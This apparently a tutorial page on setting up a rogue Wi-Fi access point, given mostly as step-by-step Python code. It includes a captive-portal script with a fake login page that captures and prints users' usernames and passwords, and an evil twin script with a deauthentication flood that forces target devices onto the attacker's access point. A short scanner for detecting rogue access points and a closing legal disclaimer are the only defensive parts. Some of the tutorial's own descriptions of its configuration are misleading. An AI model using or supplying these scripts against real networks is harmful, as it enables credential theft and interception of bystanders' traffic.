Creating a Rogue Access Point
What is a Rogue Access Point?
A rogue access point is an unauthorized wireless access point that is connected to a network without the knowledge or consent of the network administrator. These can be used by attackers to intercept network traffic, conduct man-in-the-middle attacks, or gain unauthorized access to sensitive information.
Let’s visualize the basic concept of a rogue access point:
graph TD A[Legitimate Network] --> B[Legitimate AP] A --> C[Rogue AP] B --> D[Authorized User] C --> E[Unsuspecting User] C --> F[Attacker] C --> G[Data Interception] C --> H[Malware Injection]
Setting Up a Rogue Access Point
Required Hardware
- A computer running Linux (preferably Kali Linux)
- A wireless network adapter capable of packet injection and monitor mode (e.g., Alfa AWUS036ACH)
Step 1: Install Required Software
First, ensure you have the necessary tools installed:
import subprocess
import sys
def install_software():
packages = ['hostapd', 'dnsmasq', 'iptables', 'aircrack-ng']
try:
subprocess.run(['sudo', 'apt', 'update'], check=True)
subprocess.run(['sudo', 'apt', 'install', '-y'] + packages, check=True)
print("Software installation completed successfully.")
except subprocess.CalledProcessError as e:
print(f"Error during installation: {e}")
sys.exit(1)
if __name__ == '__main__':
install_software()
Step 2: Configure hostapd
Create a configuration file for hostapd using hardware acceleration:
def create_hostapd_config():
config = """
interface=wlan0
driver=nl80211
ssid=Free_Public_WiFi
hw_mode=g
channel=6
ieee80211n=1
wmm_enabled=1
ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=strongpassword123
"""
with open('/etc/hostapd/hostapd.conf', 'w') as f:
f.write(config)
print("hostapd configuration created successfully.")
if __name__ == '__main__':
create_hostapd_config()
Step 3: Configure dnsmasq
Edit the dnsmasq configuration file for faster DNS resolution:
def create_dnsmasq_config():
config = """
interface=wlan0
dhcp-range=192.168.1.2,192.168.1.250,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=1.1.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
cache-size=1000
no-resolv
"""
with open('/etc/dnsmasq.conf', 'w') as f:
f.write(config)
print("dnsmasq configuration created successfully.")
if __name__ == '__main__':
create_dnsmasq_config()
Step 4: Configure IP Forwarding
Enable IP forwarding for efficient traffic routing:
import subprocess
def enable_ip_forwarding():
try:
subprocess.run(['sudo', 'sysctl', '-w', 'net.ipv4.ip_forward=1'], check=True)
subprocess.run(['sudo', 'sh', '-c', 'echo 1 > /proc/sys/net/ipv4/ip_forward'], check=True)
print("IP forwarding enabled successfully.")
except subprocess.CalledProcessError as e:
print(f"Error enabling IP forwarding: {e}")
if __name__ == '__main__':
enable_ip_forwarding()
Step 5: Configure iptables
Set up NAT using iptables with optimized rules:
import subprocess
def configure_iptables():
try:
subprocess.run(['sudo', 'iptables', '-t', 'nat', '-F'], check=True)
subprocess.run(['sudo', 'iptables', '-F'], check=True)
subprocess.run(['sudo', 'iptables', '-t', 'nat', '-A', 'POSTROUTING', '-o', 'eth0', '-j', 'MASQUERADE'], check=True)
subprocess.run(['sudo', 'iptables', '-A', 'FORWARD', '-i', 'wlan0', '-o', 'eth0', '-j', 'ACCEPT'], check=True)
subprocess.run(['sudo', 'iptables', '-A', 'FORWARD', '-i', 'eth0', '-o', 'wlan0', '-m', 'state', '--state', 'RELATED,ESTABLISHED', '-j', 'ACCEPT'], check=True)
print("iptables configured successfully.")
except subprocess.CalledProcessError as e:
print(f"Error configuring iptables: {e}")
if __name__ == '__main__':
configure_iptables()
Step 6: Start the Rogue Access Point
Start the services with error handling:
import subprocess
import time
def start_rogue_ap():
try:
subprocess.run(['sudo', 'systemctl', 'start', 'hostapd'], check=True)
subprocess.run(['sudo', 'systemctl', 'start', 'dnsmasq'], check=True)
print("Rogue access point started successfully.")
# Monitor the services
while True:
time.sleep(10)
hostapd_status = subprocess.run(['systemctl', 'is-active', 'hostapd'], capture_output=True, text=True).stdout.strip()
dnsmasq_status = subprocess.run(['systemctl', 'is-active', 'dnsmasq'], capture_output=True, text=True).stdout.strip()
if hostapd_status != 'active' or dnsmasq_status != 'active':
print("Warning: One or more services have stopped. Attempting to restart...")
subprocess.run(['sudo', 'systemctl', 'restart', 'hostapd'], check=True)
subprocess.run(['sudo', 'systemctl', 'restart', 'dnsmasq'], check=True)
except subprocess.CalledProcessError as e:
print(f"Error starting rogue access point: {e}")
except KeyboardInterrupt:
print("Shutting down rogue access point...")
subprocess.run(['sudo', 'systemctl', 'stop', 'hostapd'], check=True)
subprocess.run(['sudo', 'systemctl', 'stop', 'dnsmasq'], check=True)
print("Rogue access point stopped.")
if __name__ == '__main__':
start_rogue_ap()
Real-life Example: Capturing User Credentials
Here’s a more advanced example of how a rogue access point could be used to capture user credentials:
from scapy.all import *
from flask import Flask, request, redirect
import threading
app = Flask(__name__)
captured_credentials = []
@app.route('/')
def captive_portal():
return '''
<html>
<body>
<h1>Welcome to Free Public WiFi</h1>
<p>Please log in to access the internet.</p>
<form action="/login" method="post">
<input type="text" name="username" placeholder="Username or Email">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Log In">
</form>
</body>
</html>
'''
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
captured_credentials.append((username, password))
print(f"Captured credentials: {username}:{password}")
return redirect('http://example.com')
def start_web_server():
app.run(host='192.168.1.1', port=80)
def packet_handler(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load.decode('utf-8', 'ignore')
if 'POST /login' in payload:
print(f"Potential login attempt captured: {payload}")
def start_packet_capture():
sniff(iface="wlan0", prn=packet_handler, store=0)
if __name__ == '__main__':
web_thread = threading.Thread(target=start_web_server)
capture_thread = threading.Thread(target=start_packet_capture)
web_thread.start()
capture_thread.start()
try:
web_thread.join()
capture_thread.join()
except KeyboardInterrupt:
print("Shutting down...")
This script creates a captive portal that prompts users to enter their credentials. It also sniffs network traffic for potential login attempts. Here’s a breakdown of how it works:
- The Flask web server hosts a fake login page.
- When users submit their credentials, they are captured and stored.
- Simultaneously, the script sniffs network traffic for any POST requests to the login endpoint.
- The captured credentials can be used for further analysis or potential attacks.
Advanced Techniques
Evil Twin Attack with Deauthentication
Here’s an improved version of the evil twin attack that includes a deauthentication phase:
import subprocess
import time
import threading
from scapy.all import *
def deauth(target_mac, gateway_mac, iface):
dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, iface=iface, inter=0.1, loop=1, verbose=1)
def create_evil_twin(ssid, channel, iface):
try:
# Enable monitor mode
subprocess.run(['sudo', 'airmon-ng', 'start', iface], check=True)
mon_iface = f"{iface}mon"
# Start the evil twin AP
hostapd_conf = f"""
interface={mon_iface}
driver=nl80211
ssid={ssid}
hw_mode=g
channel={channel}
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
"""
with open('/tmp/hostapd.conf', 'w') as f:
f.write(hostapd_conf)
hostapd_process = subprocess.Popen(['sudo', 'hostapd', '/tmp/hostapd.conf'])
# Start DHCP server
subprocess.run(['sudo', 'dnsmasq', '-C', '/dev/null', '-i', mon_iface, '-F', '192.168.1.2,192.168.1.100,12h'], check=True)
# Enable IP forwarding
subprocess.run(['sudo', 'sysctl', '-w', 'net.ipv4.ip_forward=1'], check=True)
# Set up NAT
subprocess.run(['sudo', 'iptables', '-t', 'nat', '-A', 'POSTROUTING', '-o', 'eth0', '-j', 'MASQUERADE'], check=True)
subprocess.run(['sudo', 'iptables', '-A', 'FORWARD', '-i', mon_iface, '-o', 'eth0', '-j', 'ACCEPT'], check=True)
print(f"Evil twin AP '{ssid}' is running on channel {channel}")
# Start deauthentication attack
target_mac = input("Enter the target device MAC address: ")
gateway_mac = input("Enter the legitimate AP MAC address: ")
deauth_thread = threading.Thread(target=deauth, args=(target_mac, gateway_mac, mon_iface))
deauth_thread.start()
try:
hostapd_process.wait()
except KeyboardInterrupt:
print("Shutting down evil twin AP...")
hostapd_process.terminate()
subprocess.run(['sudo', 'airmon-ng', 'stop', mon_iface], check=True)
subprocess.run(['sudo', 'killall', 'dnsmasq'], check=True)
subprocess.run(['sudo', 'iptables', '-F'], check=True)
subprocess.run(['sudo', 'iptables', '-t', 'nat', '-F'], check=True)
except subprocess.CalledProcessError as e:
print(f"Error setting up evil twin: {e}")
if __name__ == '__main__':
ssid = input("Enter the SSID to clone: ")
channel = input("Enter the channel to use: ")
iface = input("Enter the wireless interface to use: ")
create_evil_twin(ssid, channel, iface)
This script combines the evil twin attack with a deauthentication attack to force clients off the legitimate network and onto the rogue access point.
Detecting Rogue Access Points
Here’s an improved Python script to detect nearby access points, including potential rogue APs:
from scapy.all import *
import pandas as pd
import time
from threading import Thread
# Initialize the networks dataframe that will contain all access points nearby
networks = pd.DataFrame(columns=["BSSID", "SSID", "dBm_Signal", "Channel", "Crypto"])
networks.set_index("BSSID", inplace=True)
def callback(packet):
if packet.haslayer(Dot11Beacon):
# Extract the MAC address of the network
bssid = packet[Dot11].addr2
# Get the name of it
ssid = packet[Dot11Elt].info.decode()
try:
dbm_signal = packet.dBm_AntSignal
except:
dbm_signal = "N/A"
# Extract network stats
stats = packet[Dot11Beacon].network_stats()
# Get the channel of the AP
channel = stats.get("channel")
# Get the crypto
crypto = stats.get("crypto")
networks.loc[bssid] = (ssid, dbm_signal, channel, crypto)
def print_all():
while True:
os.system("clear")
print(networks)
time.sleep(0.5)
def change_channel():
ch = 1
while True:
os.system(f"iwconfig {interface} channel {ch}")
# switch channel from 1 to 14 each 0.5s
ch = ch % 14 + 1
time.sleep(0.5)
if __name__ == "__main__":
# interface name, check using iwconfig
interface = "wlan0mon"
# start the thread that prints all the networks
printer = Thread(target=print_all)
printer.daemon = True
printer.start()
# start the channel changer
channel_changer = Thread(target=change_channel)
channel_changer.daemon = True
channel_changer.start()
# start sniffing
sniff(prn=callback, iface=interface)
This script provides a more comprehensive view of nearby access points, including signal strength, channel, and encryption type. It can help in identifying potential rogue access points by looking for unusual SSIDs, weak encryption, or unexpected channels.
Mathematical Model: Advanced Signal Propagation
For a more accurate model of wireless signal propagation, we can use the Log-distance path loss model, which takes into account the environment:
$$ PL(d) = PL(d_0) + 10 \cdot n \cdot \log_{10}(\frac{d}{d_0}) + X_g $$
Where:
- $PL(d)$ is the path loss at distance $d$
- $PL(d_0)$ is the path loss at a reference distance $d_0$
- $n$ is the path loss exponent (depends on the environment)
- $X_g$ is a Gaussian random variable with zero mean, representing shadow fading
This model provides a more realistic estimation of signal strength in various environments, which is crucial for understanding the range and potential coverage of a rogue access point.
Conclusion
Rogue access points are powerful tools for network security testing and research. However, they can also pose significant risks when used maliciously. It’s crucial to use these techniques responsibly and only in controlled, authorized environments. Always prioritize ethical considerations and legal compliance when working with network security tools and techniques.
For more detailed research on rogue access points and wireless security, refer to the following resources:
- IEEE 802.11 Wireless Security
- NIST Guide to Securing Legacy IEEE 802.11 Wireless Networks
- Wireless Network Security: A Comprehensive Review
Remember, the techniques described in this tutorial should only be used for educational purposes or authorized penetration testing. Misuse of this information can lead to severe legal consequences.